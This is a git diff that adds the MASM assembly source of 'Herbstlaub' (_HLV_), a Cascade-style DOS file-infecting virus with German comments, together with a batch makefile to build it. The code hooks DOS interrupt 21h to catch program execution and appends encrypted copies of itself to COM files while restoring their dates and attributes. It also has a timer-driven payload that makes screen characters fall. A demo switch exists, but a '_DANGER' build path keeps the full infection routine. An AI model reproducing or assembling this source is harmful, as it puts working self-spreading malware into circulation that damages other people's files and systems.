+ CALL Write_to_VRAM ; + INC DH ; + MOV AL,[Last_Char] ; + CALL Write_to_VRAM ; + JCXZ XI_061 ; + CALL Delay ; + DEC CX ; +XI_061: JMP XI_058 ; +XI_062: TEST [ISR_Flags],MASK Recf_1 ; + JZ XI_063 ; + JMP XI_056 ; +XI_063: CALL Toggle_Speaker ; + DEC SI ; + JZ XI_064 ; + JMP XI_055 ; +XI_064: IN AL,PORT_B_8255 ; + AND AL,0FC ; + OUT PORT_B_8255,AL ; + MOV AX,3 ; + CALL Random ; + INC AX ; + MUL [XR_004] ; + JNB XI_065 ; + MOV AX,-1 ; +XI_065: MOV [XR_004],AX ; + REST BP,DI,SI,DX,CX,BX,AX,ES,DS ; +XI_066: AND CS:[ISR_Flags],NOT MASK R_in_1c ; +XI_067: JMP DWORD PTR CS:[Org_Int_1C] ; + ; +IF SWITCHABLE ; + ; + comment # +Ŀ + Implementierung eines neuen in CMD_2F definierten internen Befehls. + + # ; +XI_068 Label Near ; +Int_2F_ISR EQU XI_068 + PSPsize ; + CMP AH,0AEH ; + JNZ Int_2F_end ; + CMP DX,-1 ; + JNZ Int_2F_end ; + CMP AL,0 ; + JNZ Int_2F_2nd ; + CALL Decode_2F ; + JNZ Int_2F_end ; + DEC AL ; + IRET ; +Int_2F_2nd: CMP AL,1 ; + JNZ Int_2F_end ; + CALL Decode_2F ; + JNZ Int_2F_end ; + SAVE DS,DX,AX ; + MOV_S DS,CS ; + XOR [ISR_Flags],MASK ExtCom ; + MOV DX,OFFSET MSG_ON ; + TEST [ISR_Flags],MASK ExtCom ; + JZ XI_069 ; + MOV DX,OFFSET MSG_OFF ; +XI_069: MOV AH,9 ; + MSDOS ; + REST AX,DX,DS ; + AND BYTE PTR [SI],0 ; + IRET ; +Int_2F_end: JMP DWORD PTR CS:[Org_Int_2F] ; + comment # +Ŀ + berprfen, ob der in CMD_2F definierte Befehl angesprochen wurde. + + # ; +Decode_2F PROC NEAR ; + SAVE SI,DI,ES,CX ; + MOV CX,05 ; + MOV_S ES,CS ; + MOV DI,OFFSET Cmd_2F ; + CLD ; + REPE CMPSW ; + REST CX,ES,DI,SI ; + RET ; +Decode_2F ENDP ; + ; +ENDIF ; + comment # +Ŀ + Okay, das war's. Zum Schlu noch einige Definitionen. + + # ; +EOFC EQU THIS WORD ; +XR_010 EQU OFFSET EOFC - 1 + FIRSTBASE ; +TEXT ENDS ; +IF2 ;----------------; +%Out +%Out (C) 1990 164A12565AA18213165556D3125C4B962712 ͼ +ENDIF ; +comment # +ͻ + + So knnte ein Batch - Makefile aussehen : + + @cls + @if %1.==. goto nopar + @if not exist %1.asm goto noasm + @ctty nul + @del %1.obj + @del %1.lst + @del %1.crf + @del %1.ref + @del %1.map + @del %1.exe + @del %1.bin + @del _HLV_.COM + @ctty con + @masm /b63 %1,,%1,%1 %2 %3 %4; + @if not exist %1.obj goto masm_err + @link %1,,%1; + @if not exist %1.exe goto link_err + @exe2bin %1; + @if not exist %1.bin goto exe2_err + @cref %1; + @if not exist %1.ref goto cref_err + @echo >> %1.lst + @copy %1.lst+%1.map+%1.ref %1.t > nul + @del %1.lst > nul + @ren %1.t %1.lst > nul + @del %1.obj > nul + @del %1.crf > nul + @del %1.ref > nul + @del %1.map > nul + @del %1.exe > nul + @echo n %1.bin > md.inp + @echo l 11f >> md.inp + @echo a 110 >> md.inp + @echo add cx,20 >> md.inp + @echo. >> md.inp + @echo g =110 113 >> md.inp + @echo f 110 11e 20 >> md.inp + @echo e 110 '%1' >> md.inp + @echo f 100 10f 90 >> md.inp + @echo a 100 >> md.inp + @echo jmp 120 >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo mov ax,4c00 >> md.inp + @echo int 21 >> md.inp + @echo. >> md.inp + @echo n _HLV_.com >> md.inp + @echo w >> md.inp + @echo q >> md.inp + @debug < md.inp > nul + @cls + @echo. + @echo ͻ + @echo + @echo MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt. + @echo + @echo ͼ + @echo. + @goto ende + :nopar + @echo FEHLER ! Mindestens ein Parameter ist erforderlich ! + @echo Syntax : MAKEHLV asmfile [switches] + @goto ende + :noasm + @echo FEHLER ! Die Datei %1.ASM ist nicht zu finden ! + @goto ende + :masm_err + @echo FEHLER ! %1.OBJ konnte nicht erstellt werden ! + @goto ende + :link_err + @echo FEHLER ! %1.EXE konnte nicht erstellt werden ! + @goto ende + :exe2_err + @echo FEHLER ! %1.BIN konnte nicht erstellt werden ! + @goto ende + :cref_err + @echo FEHLER ! %1.REF konnte nicht erstellt werden ! + :ende + +ͼ +# +END + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Cascspec.asm b/c/Cascspec.asm new file mode 100755 index 0000000..4ccbc83 --- /dev/null +++ b/c/Cascspec.asm @@ -0,0 +1,1183 @@ +PAGE 62,132 +TITLE _HLV_ (- Microsoft MASM 5.1 source -) +SUBTTL (C) 1990 164A12565AA18213165556D3125C4B962712 +.RADIX 16 +.LALL + +TRUE EQU 1 +FALSE EQU 0 + +MONTH EQU 9D +YEAR EQU 1991D + +DEMO EQU TRUE + +SWITCHABLE = TRUE +IFDEF _NOSWITCH +SWITCHABLE = FALSE +ENDIF + +comment # +ͻ + + ===================== + H E R B S T L A U B + ===================== + + + SPRACHE: MASM 4.00 (+) [ frhere Versionen brechen z.B. mit + *OUT OF MEMORY* (3.00) ab oder lassen + sogar den PC abstrzen (1.10) ] + + ( Eine als Beispiel gedachte Batchdatei zur Steuerung der bersetzung + ist am Ende dieses Quelltextes als Kommentar hinzugefgt. ) + +ͼ +Ŀ + Whrend der bersetzung zu auszugebende Meldungen, 1. Teil. + +# +IF1 +REPT 50 +%Out +ENDM; +%Out ͻ +%Out +%Out Ŀ +%Out Ĵ H E R B S T L A U B İ +%Out ٰ +%Out +ENDIF +comment # +Ŀ + Einige Assembler - Makros. + +# ; +MSDOS MACRO ; + INT 21 ; + ENDM ; +Wait_HRI_or_VRI MACRO ; + LOCAL _X_1, _X_2, _X_3 ; + MOV DX,03DA ; + CLI ; + _X_1: IN AL,DX ; + TEST AL,08 ; + JNZ _X_3 ; + TEST AL,01 ; + JNZ _X_1 ; + _X_2: IN AL,DX ; + TEST AL,01 ; + JZ _X_2 ; + _X_3 LABEL NEAR ; + ENDM ;------; +SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + PUSHF ; + ELSE ; + PUSH _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ;------; +REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + POPF ; + ELSE ; + POP _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ; +MOV_S MACRO S1,S2 ; + PUSH S2 ; + POP S1 ; + ENDM ; + comment # +Ŀ + Start des Code-Segments, Segment Prefix Bytes werden n i c h t au- + tomatisch durch den Assembler erzeugt. + + # ; +TEXT SEGMENT ; + ASSUME CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ; + comment # +Ŀ + Einige das Verstndnis erleichternde Definitionen. + + # ; +NearJmp EQU 0E9 ; +PORT_B_8259A EQU 20 ; +EOI_8259A EQU 20 ; +PORT_B_8255 EQU 61 ; +FIRSTCONST EQU 0131 ; +FIRSTBASE EQU FIRSTCONST - OFFSET XI_001 ;-----; +FIRSTBASE2 EQU (FIRSTCONST + OFFSET XI_005 - XI_001) ; +DeCrptd EQU 0 ;-----; +EnCrptd EQU 1 ; +BIOSDATASEG EQU 040 ; +MonoBase EQU 0B000 ; +ColorBase EQU 0B800 ; +B_VIDPAGE EQU THIS WORD + 04E ; +B_TIMERVAR EQU THIS WORD + 06C ; +TimerInt EQU 1C ; +DOS EQU 21 ; +DOS_multi EQU 2F ; +MS_SetDTA EQU 1A ; + DTA_in_PSP EQU 80 ; +MS_SetInt EQU 25 ; +MS_GetDateTime EQU 2A ; +MS_GetVer EQU 30 ; + DOS_v_02 EQU 2 ; +MS_GetInt EQU 35 ; +MS_Open EQU 3Dh ; + Read_Only EQU 0 ; + Read_Write EQU 2 ; +MS_Close EQU 3E ; +MS_Read EQU 3F ; +MS_Write EQU 40 ; +MS_MoveFP EQU 42 ; + OfsFrmTop EQU 0 ; + OfsFrmEnd EQU 02 ; +MS_GetFileAttr EQU 4300 ; +MS_SetFileAttr EQU 4301 ; + Attr_A EQU 20 ; + Attr_SHR EQU 7 ; + Attr_ASHR EQU Attr_A OR Attr_SHR ; +MS_AllocMem EQU 48 ; +MS_ReleaseMem EQU 49 ; + MemCBsig EQU THIS BYTE + 0 ; + MemCBowned EQU THIS WORD + 1 ; + MemCBsize EQU THIS WORD + 3 ; +MS_Exec EQU 4Bh ; + MS_Exec_SF0 EQU 0 ; + Virus_fun EQU 0ffh ; + Virus_Sig EQU 55AA ; +MS_SetPSP EQU 50 ; + PSPsize EQU 00100 ; + PSPCurCom EQU THIS WORD + 016 ; + PSPEnv EQU THIS WORD + 02C ; + PSP_SegJFB EQU THIS WORD + 036 ; + NoEnv EQU 0 ; +MS_GetFileDate EQU 5700 ; +MS_SetFileDate EQU 5701 ; +PSP_100 EQU THIS WORD + PSPsize ; +PSP_102 EQU THIS BYTE + PSPsize + 2 ; + comment # +Ŀ + Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1. + + # ; +Crypt1 DB 0 ; +Crypt2 EQU OFFSET Crypt1 + FIRSTBASE ; +Crypt3 EQU Crypt1 + PSPsize ; + comment # +Ŀ + Einsprungstelle, entschlsseln des Virus falls notwendig. + + # ; +XI_000: CLI ; + MOV BP,SP ; + CALL XI_001 ; +XI_001: POP BX ; + SUB BX,FIRSTCONST ; + TEST BYTE PTR CS:[BX+Crypt2],EnCrptd ; + JZ XI_003 ; + LEA SI,[BX + XR_000] ; + MOV SP,OFFSET EOFC-OFFSET XI_003 ; +XI_002: XOR [SI],SI ; + XOR [SI],SP ; + INC SI ; + DEC SP ; + JNZ XI_002 ; +XI_003 LABEL NEAR ; + XR_000 EQU OFFSET XI_003 + FIRSTBASE ; + XR_001 EQU XI_003 + PSPsize ; + MOV SP,BP ; + JMP SHORT XI_004 ; + comment # +Ŀ + Datenbereich 2. + + # ; + XD_000 DW PSPsize ; +Disp_to_com_1 EQU OFFSET XD_000 + FIRSTBASE ; + XD_001 DW 9090 ; +Disp_to_com_2 EQU OFFSET XD_001 + FIRSTBASE ; + XD_002 DW 9090 ; +Initial_AX EQU OFFSET XD_002 + FIRSTBASE ; + XD_003 EQU THIS WORD ; + XD_004 EQU THIS BYTE + 2 ; + NOP ; + NOP ; + NOP ; +Org1stInstr_s1 EQU OFFSET XD_003 + FIRSTBASE ; +Org1stInstr_t1 EQU XD_003 + PSPsize ; +Org1stInstr_t2 EQU XD_003 + PSPsize + 1 ; +Org1stInstr_s2 EQU OFFSET XD_004 + FIRSTBASE ; + XD_005 DW 2 dup ( 9090 ) ; +Org_Int_1C EQU XD_005 + PSPsize ; + XD_006 DW 2 dup ( 9090 ) ; +Org_int_21s EQU OFFSET XD_006 + FIRSTBASE ; +Org_Int_21t EQU XD_006 + PSPsize ; + ; +IF SWITCHABLE ; + ; + XD_007 DW 2 dup ( 9090 ) ; +Org_Int_2F EQU XD_007 + PSPsize ; + XD_008 DB 5, "_HLV_ " ; +Cmd_2F EQU XD_008 + PSPsize ; + XD_009 DB 'HLV is on',0Dh,0Ah,'$' ; +Msg_On EQU XD_009 + PSPsize ; + XD_010 DB 'HLV is off',0Dh,0Ah,'$' ; +Msg_Off EQU XD_010 + PSPsize ; + ; +ENDIF ; + ; + XD_011 DW 9090 ; +File_Attributes EQU XD_011 + PSPsize ; + XD_012 DW 9090 ; +File_Date EQU XD_012 + PSPsize ; + XD_013 DW 9090 ; +File_Time EQU XD_013 + PSPsize ; + XD_014 DW 2 dup ( 9090 ) ; +Pathname EQU XD_014 + PSPsize ; + XD_015 DW 2 dup ( 9090 ) ; +File_Size_lsb EQU XD_015 + PSPsize ; +File_Size_msb EQU XD_015 + PSPsize + 2 ; + XD_016 DB NearJmp ; +FirstOpCode_1 EQU XD_016 + PSPsize ; + XD_017 DW 9090 ; +FirstOpCode_2 EQU XD_017 + PSPsize ; + XD_018 DB 90 ; +Num_of_Col EQU XD_018 + PSPsize ; + XD_019 DB 90 ; +Last_Line EQU XD_019 + PSPsize ; + XD_020 DB 90 ; +Prevent_Snow? EQU XD_020 + PSPsize ; +Last_Pair EQU THIS WORD + PSPsize ; + XD_021 DB 90 ; + XD_022 DB 90 ; +Last_Char EQU XD_021 + PSPsize ; +Last_Attr EQU XD_022 + PSPsize ; +RecTyp1 RECORD ExtCom:1, Recf_1:1, R_in_1c:1 ; + XD_023 RecTyp1 <0,0,0> ; +ISR_Flags EQU XD_023 + PSPsize ; + XD_024 DW 9090 ; +Seg_of_VRAM EQU XD_024 + PSPsize ; + XD_025 DW 9090 ; +Page_offset EQU XD_025 + PSPsize ; + XD_026 DW 9090 ; +Speed EQU XD_026 + PSPsize ; + XD_027 DW 9090 ; +XR_002 EQU XD_027 + PSPsize ; + XD_028 DW 9090 ; +XR_003 EQU XD_028 + PSPsize ; + XD_029 DW 9090 ; +Num_of_char EQU XD_029 + PSPsize ; + XD_030 DW 9090 ; +XR_004 EQU XD_030 + PSPsize ; + XD_031 DW 7 dup ( 9090 ) ; +FirstRandom EQU XD_031 + PSPsize ; +LastRandom EQU This Word + PSPsize ; + DW 9090 ; + comment # +Ŀ + Installieren u. relozieren falls notwendig. + + # ; +XI_004: CALL XI_005 ; +XI_005 LABEL NEAR ; +XR_005 EQU XI_005 + PSPsize ; + POP BX ; + SUB BX,FIRSTBASE2 ; + MOV CS:[BX+Disp_to_com_2],CS ; + MOV CS:[BX+Initial_AX],AX ; + MOV AX,CS:[BX+Org1stInstr_s1] ; + MOV [PSP_100],AX ; + MOV AL,CS:[BX+Org1stInstr_s2] ; + MOV [PSP_102],AL ; + PUSH BX ; + MOV AH,MS_GetVer ; + MSDOS ; + POP BX ; + CMP AL,DOS_v_02 ; + JB XI_006 ; + MOV AX,MS_Exec * 100 + Virus_fun ; + XOR DI,DI ; + XOR SI,SI ; + MSDOS ; + CMP DI,Virus_sig ; + JNZ XI_007 ; +XI_006: STI ; + MOV_S ES,DS ; + MOV AX,CS:[BX+Initial_AX] ; + JMP DWORD PTR CS:[BX+Disp_to_com_1] ; +XI_007: PUSH BX ; + MOV AX,MS_GetInt * 100 + DOS ; + MSDOS ; + MOV AX,BX ; + POP BX ; + MOV CS:[BX+Org_int_21s],AX ; + MOV CS:[BX+Org_int_21s + 2],ES ;------------; + MOV AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ; + MOV BP,CS ;------------; + DEC BP ; + MOV ES,BP ; + MOV SI,CS:[PSPCurCom] ; + MOV ES:[MemCBowned],SI ; + MOV DX,ES:[MemCBsize] ; + MOV ES:[MemCBsize],AX ; + MOV ES:[MemCBsig],'M' ; + SUB DX,AX ; + DEC DX ; + INC BP ; + ADD BP,AX ; + INC BP ; + MOV ES,BP ; + PUSH BX ; + MOV AH,MS_SetPSP ; + MOV BX,BP ; + MSDOS ; + POP BX ; + XOR DI,DI ; + MOV_S SS,ES ; + PUSH DI ; + LEA DI,[BX+XR_010] ; + MOV SI,DI ; + MOV CX,OFFSET EOFC ; + STD ; + REPZ MOVSB ; + PUSH ES ; + LEA CX,[BX+XR_006] ; + PUSH CX ; + RETF ; +XI_008 LABEL NEAR ; +XR_006 EQU OFFSET XI_008 + FIRSTBASE ; + MOV CS:[BX+Disp_to_com_2],CS ; + LEA CX,[BX+Crypt2] ; + REPZ MOVSB ; + MOV CS:[PSP_SegJFB],CS ; + DEC BP ; + MOV ES,BP ; + MOV ES:[MemCBsize],DX ; + MOV ES:[MemCBsig],'Z' ; + MOV ES:[MemCBowned],CS ; + INC BP ; + MOV ES,BP ; + MOV_S ES,DS ; + MOV_S DS,CS ; + LEA SI,[BX+Crypt2] ; + MOV DI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + PUSH ES ; + LEA AX,[XR_007] ; + PUSH AX ; + RETF ; +XI_009 LABEL NEAR ; +XR_007 EQU XI_009 + PSPsize ; + MOV CS:[PSPEnv],NoEnv ; + MOV CS:[PSPCurCom],CS ; + PUSH DS ; + LEA DX,[XR_008] ; + MOV_S DS,CS ; + MOV AX,MS_SetInt * 100 + DOS ; + MSDOS ; + POP DS ; + MOV AH,MS_SetDTA ; + MOV DX,DTA_in_PSP ; + MSDOS ; + SAVE DS,ES,SI,DI,CX ; + MOV_S ES,CS ; + MOV CX,BIOSDATASEG ; + MOV DS,CX ; + MOV DI,OFFSET FirstRandom ; + MOV SI,OFFSET B_TIMERVAR ; + MOV CL,8 ; + CLD ; + REPZ MOVSW ; + REST CX,DI,SI,ES,DS ; + ; +IF SWITCHABLE ; + ; + PUSH DS ; + MOV AX,MS_GetInt * 100 + DOS_multi ; + MSDOS ; + MOV CS:[Org_Int_2F],BX ; + MOV CS:[Org_Int_2F + 2],ES ; + MOV AX,MS_SetInt * 100 + DOS_multi ; + MOV DX,offset Int_2F_ISR ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; + ; +ENDIF ; + ; + OR CS:[ISR_Flags],MASK ExtCom ; + MOV AH,MS_GetDateTime ; + MSDOS ; + CMP CX,YEAR ; + JZ XI_010 ; + JMP SHORT XI_011 ; +XI_010: CMP DH,MONTH ; + JB XI_011 ; + AND CS:[ISR_Flags],NOT MASK ExtCom ; +XI_011: MOV AX,1518 ; + CALL Random ; + INC AX ; + MOV CS:[XR_002],AX ; + MOV CS:[XR_003],AX ; + MOV CS:[XR_004],1 ; + MOV AX,MS_GetInt * 100 + TimerInt ; + MSDOS ; + MOV CS:[Org_Int_1C],BX ; + MOV CS:[Org_Int_1C + 2],ES ; + PUSH DS ; + MOV AX,MS_SetInt * 100 + TimerInt ; + MOV DX,OFFSET XR_009 ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; +XI_012: MOV BX,OFFSET XR_005 - (FIRSTBASE2) ; + JMP XI_006 ; + comment # +Ŀ + Neue Interrupt 21(h) Behandlungsroutine ( verndert Exec - Funktion ). + + # ; +XI_013 LABEL NEAR ; +XR_008 EQU XI_013 + PSPsize ; + CMP AH,MS_Exec ; + JZ XI_016 ; +XI_014: JMP DWORD PTR CS:[Org_Int_21t] ; +XI_015: MOV DI,Virus_Sig ; + LES AX,CS:DWORD PTR [Org_Int_21t] ; + MOV DX,CS ; + IRET ; +XI_016: CMP AL,Virus_fun ; + JZ XI_015 ; + CMP AL,MS_Exec_SF0 ; + JNZ XI_014 ; + SAVE F,AX,BX,CX,DX,SI,DI,BP,ES,DS ; + MOV CS:[Pathname],DX ; + MOV CS:[Pathname + 2],DS ; + MOV_S ES,CS ; + MOV AX,MS_Open * 100 + Read_Only ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_GetFileDate ; + MSDOS ; + MOV CS:[File_Date],DX ; + MOV CS:[File_Time],CX ; + MOV AH,MS_Read ; + MOV_S DS,CS ; + MOV DX,OFFSET Org1stInstr_t1 ; + MOV CX,3 ; + MSDOS ; + JB XI_018 ; + CMP AX,CX ; + JNZ XI_018 ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + MOV CS:[File_Size_lsb],AX ; + MOV CS:[File_Size_msb],DX ; + MOV AH,MS_Close ; + MSDOS ;---------------; + CMP CS:[Org1stInstr_t1], 'Z' * 100 + 'M' ; + JNZ XI_017 ; + JMP XI_025 ; +XI_017: CMP CS:[File_Size_msb],+0 ; + JA XI_018 ; + CMP CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ; + JBE XI_019 ; +XI_018: JMP XI_025 ; +XI_019: CMP BYTE PTR CS:[Org1stInstr_t1],NearJmp ; + JNZ XI_020 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,OFFSET Crypt1 - offset EOFC - 2 ; + CMP AX,CS:[Org1stInstr_t2] ;---------------; + JZ XI_018 ; + ; +IF DEMO ; +XI_020: CALL DEMO_Infect ; + JMP XI_025 ; + ; +IF2 ;----------------; +%Out ͻ +%Out Demo - Version, +%Out k e i n Virus. +ENDIF ;----------------; +ELSE ; +IFDEF _DANGER ; +XI_020 MOV AX,MS_GetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; + JB XI_018 ; + MOV CS:[File_Attributes],CX ; + XOR CL,Attr_A ; + TEST CL,Attr_ASHR ; + JZ XI_021 ; + MOV AX,MS_SetFileAttr ; + XOR CX,CX ; + MSDOS ; + JB XI_018 ; +XI_021: MOV AX,MS_Open * 100 + Read_Write ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + CALL Append_Virus ; + JNB XI_022 ; + MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + MOV CX,CS:[File_Size_msb] ; + MOV DX,CS:[File_Size_lsb] ; + MSDOS ; + MOV AH,MS_Write ; + XOR CX,CX ; + MSDOS ; + JMP SHORT XI_023 ; +XI_022: MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + JB XI_023 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,-2 ; + MOV CS:[FirstOpCode_2],AX ; + MOV AH,MS_Write ; + MOV DX,OFFSET FirstOpCode_1 ; + MOV CX,3 ; + MSDOS ; +XI_023: MOV AX,MS_SetFileDate ; + MOV DX,CS:[File_Date] ; + MOV CX,CS:[File_Time] ; + MSDOS ; + MOV AH,MS_Close ; + MSDOS ; + MOV CX,CS:[File_Attributes] ; + TEST CL,Attr_SHR ; + JNZ XI_024 ; + TEST CL,Attr_A ; + JNZ XI_025 ; +XI_024: MOV AX,MS_SetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; +IF2 ;----------------; +%Out ͻ +%Out KEIN DEMO, +%Out scharfer Virus. +ENDIF ; +ELSE ; + .ERR ; +ENDIF ; +ENDIF ; +IF SWITCHABLE ; +IF2 ; +%Out ͻ +%Out Neuer interner MSDOS Befehl '_HLV_' ! +ENDIF ; +ELSE ; +IF2 ; +%Out ͻ +%Out Kommando '_HLV_' nicht implementiert. +ENDIF ; +ENDIF ; +DISPNUM MACRO nu,nuxx ; +%Out (Monat - Jahr) nu - nuxx +ENDM ; +IF2 ; +%Out Bis zum Jahresende aktiv ab: +.radix 10 ; +DISPNUM %MONTH,%YEAR ; +.radix 16 ; +%Out ͼ +endif ; +XI_025: REST DS,ES,BP,DI,SI,DX,CX,BX,AX,F ;----------------; + JMP XI_014 ; +IF DEMO ; + ; + comment # +Ŀ + Statt APPEND in der DEMO - Version aufgerufene Prozedur. + + # ; +DEMO_INFECT PROC NEAR ; + push ax ; + push cx ; + in al,61 ; + or al,3 ; + out 61,al ; + mov al,0b6 ; + out 43,al ; + mov cx,0a ; +XI_026: dec cx ; + jz XI_030 ; +XI_027: mov ax,200d ; +XI_028: dec ax ; + cmp ax,100d ; + jz XI_031 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_029: nop ; + loop XI_029 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_028 ; +XI_030: in al,61 ; + and al,0fc ; + out 61,al ; + pop cx ; + pop ax ; + ret ; +XI_031: inc ax ; + cmp ax,600d ; + jz XI_026 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_032: nop ; + loop XI_032 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_031 ; +DEMO_INFECT ENDP ; + ; +ELSE ; + comment # +Ŀ + Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur + + # ; +Append_Virus PROC NEAR ; + SAVE ES,BX ; + MOV AH,MS_AllocMem ;----------; + MOV BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ; + MSDOS ;----------; + POP BX ; + JNB XI_034 ; +XI_033: STC ; + POP ES ; + RET ; +XI_034: MOV CS:[Crypt3],EnCrptd ; + MOV ES,AX ; + MOV_S DS,CS ; + XOR DI,DI ; + MOV SI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + MOV DI,OFFSET XI_003 ; + MOV SI,OFFSET XR_001 ; + ADD SI,[File_Size_lsb] ; + MOV CX,OFFSET EOFC - OFFSET XI_003 ; +XI_035: XOR ES:[DI],SI ; + XOR ES:[DI],CX ; + INC DI ; + INC SI ; + LOOP XI_035 ; + MOV DS,AX ; + MOV AH,MS_Write ; + XOR DX,DX ; + MOV CX,OFFSET EOFC ; + MSDOS ; + SAVE F,AX ; + MOV AH,MS_ReleaseMem ; + MSDOS ; + REST AX,F ; + MOV_S DS,CS ; + JB XI_033 ; + CMP AX,CX ; + JNZ XI_033 ; + POP ES ; + CLC ; + RET ; +Append_Virus ENDP ; + ; +ENDIF ; + comment # +Ŀ + 'Zufallszahlen' - Generator. + + # ; +Random PROC NEAR ; + SAVE DS ; + MOV_S DS,CS ; + SAVE BX,CX,DX,AX ; + MOV CX,7 ; + MOV BX,offset LastRandom ; + PUSH [BX] ; +XI_036: MOV AX,[BX-02] ; + ADC [BX],AX ; + DEC BX ; + DEC BX ; + LOOP XI_036 ; + POP AX ; + ADC [BX],AX ; + MOV DX,[BX] ; + POP AX ; + OR AX,AX ; + JZ XI_037 ; + MUL DX ; +XI_037: MOV AX,DX ; + REST DX,CX,BX,DS ; + RET ; +Random ENDP ; + comment # +Ŀ + Zeichen und Attribut aus Videospeicher auslesen. + + # ; +Load_from_VRAM PROC NEAR ; + SAVE SI,DS,DX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV SI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV DS,[Seg_of_VRAM] ; + JZ XI_038 ; + Wait_HRI_or_VRI ; +XI_038: LODSW ; + STI ; + REST DX,DS,SI ; + RET ; +Load_from_VRAM ENDP ; + comment # +Ŀ + Zeichen und Attribut (AX) in den Videospeicher schreiben. + + # ; +Write_to_VRAM PROC NEAR ; + SAVE DI,ES,DX,BX ; + MOV BX,AX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV DI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV ES,[Seg_of_VRAM] ; + JZ XI_039 ; + Wait_HRI_or_VRI ; +XI_039: MOV AX,BX ; + STOSB ; + STI ; + REST BX,DX,ES,DI ; + RET ; +Write_to_VRAM ENDP ; + comment # +Ŀ + Bit 0 von Port B des 8255 Chips zurcksetzen (IO-Adresse : &H61 ). + + # ; +Toggle_Speaker PROC NEAR ; + PUSH AX ; + IN AL,PORT_B_8255 ; + XOR AL,02 ; + AND AL,0FE ; + OUT PORT_B_8255,AL ; + POP AX ; + RET ; +Toggle_Speaker ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein nicht darstellbares Zeichen enthlt. + + # ; +Is_it_blank_? PROC NEAR ; + CMP AL,0 ; + JZ XI_040 ; + CMP AL,20 ; + JZ XI_040 ; + CMP AL,-1 ; + JZ XI_040 ; + CLC ; + RET ; +XI_040: STC ; + RET ; +Is_it_blank_? ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enthlt. + + # ; +Spec_Graphik? PROC NEAR ; + CMP AL,0B0 ; + JB XI_041 ; + CMP AL,0DF ; + JA XI_041 ; + STC ; + RET ; +XI_041: CLC ; + RET ; +Spec_Graphik? ENDP ; + comment # +Ŀ + Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln. + + # ; +GetSysSpeed PROC NEAR ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + STI ; + MOV AX,[B_TIMERVAR] ; +XI_042: CMP AX,[B_TIMERVAR] ; + JZ XI_042 ; + XOR CX,CX ; + MOV AX,[B_TIMERVAR] ; +XI_043: INC CX ; + JZ XI_045 ; + CMP AX,[B_TIMERVAR] ; + JZ XI_043 ; +XI_044: POP DS ; + MOV AX,CX ; + XOR DX,DX ; + MOV CX,0F ; + DIV CX ; + MOV CS:[Speed],AX ; + RET ; +XI_045: DEC CX ; + JMP XI_044 ; +GetSysSpeed ENDP ; + comment # +Ŀ + Verzgern ( Verzgerungszeit ist kaum maschinenabhngig ). + + # ; +Delay PROC NEAR ; + PUSH CX ; +XI_046: PUSH CX ; + MOV CX,[Speed] ; +XI_047: LOOP XI_047 ; + POP CX ; + LOOP XI_046 ; + POP CX ; + RET ; +Delay ENDP ; + comment # +Ŀ + Eine neue Interrupt 1C(h) Behandlungsroutine. + + # ; +XI_048 LABEL NEAR ; +XR_009 EQU XI_048 + PSPsize ;----------; + TEST CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ; + JZ XI_049 ;----------; + JMP XI_067 ; +XI_049: OR CS:[ISR_Flags],MASK R_in_1c ; + DEC CS:[XR_002] ; + JZ XI_050 ; + JMP XI_066 ; +XI_050: SAVE DS,ES ; + MOV_S DS,CS ; + MOV_S ES,CS ; + SAVE AX,BX,CX,DX,SI,DI,BP 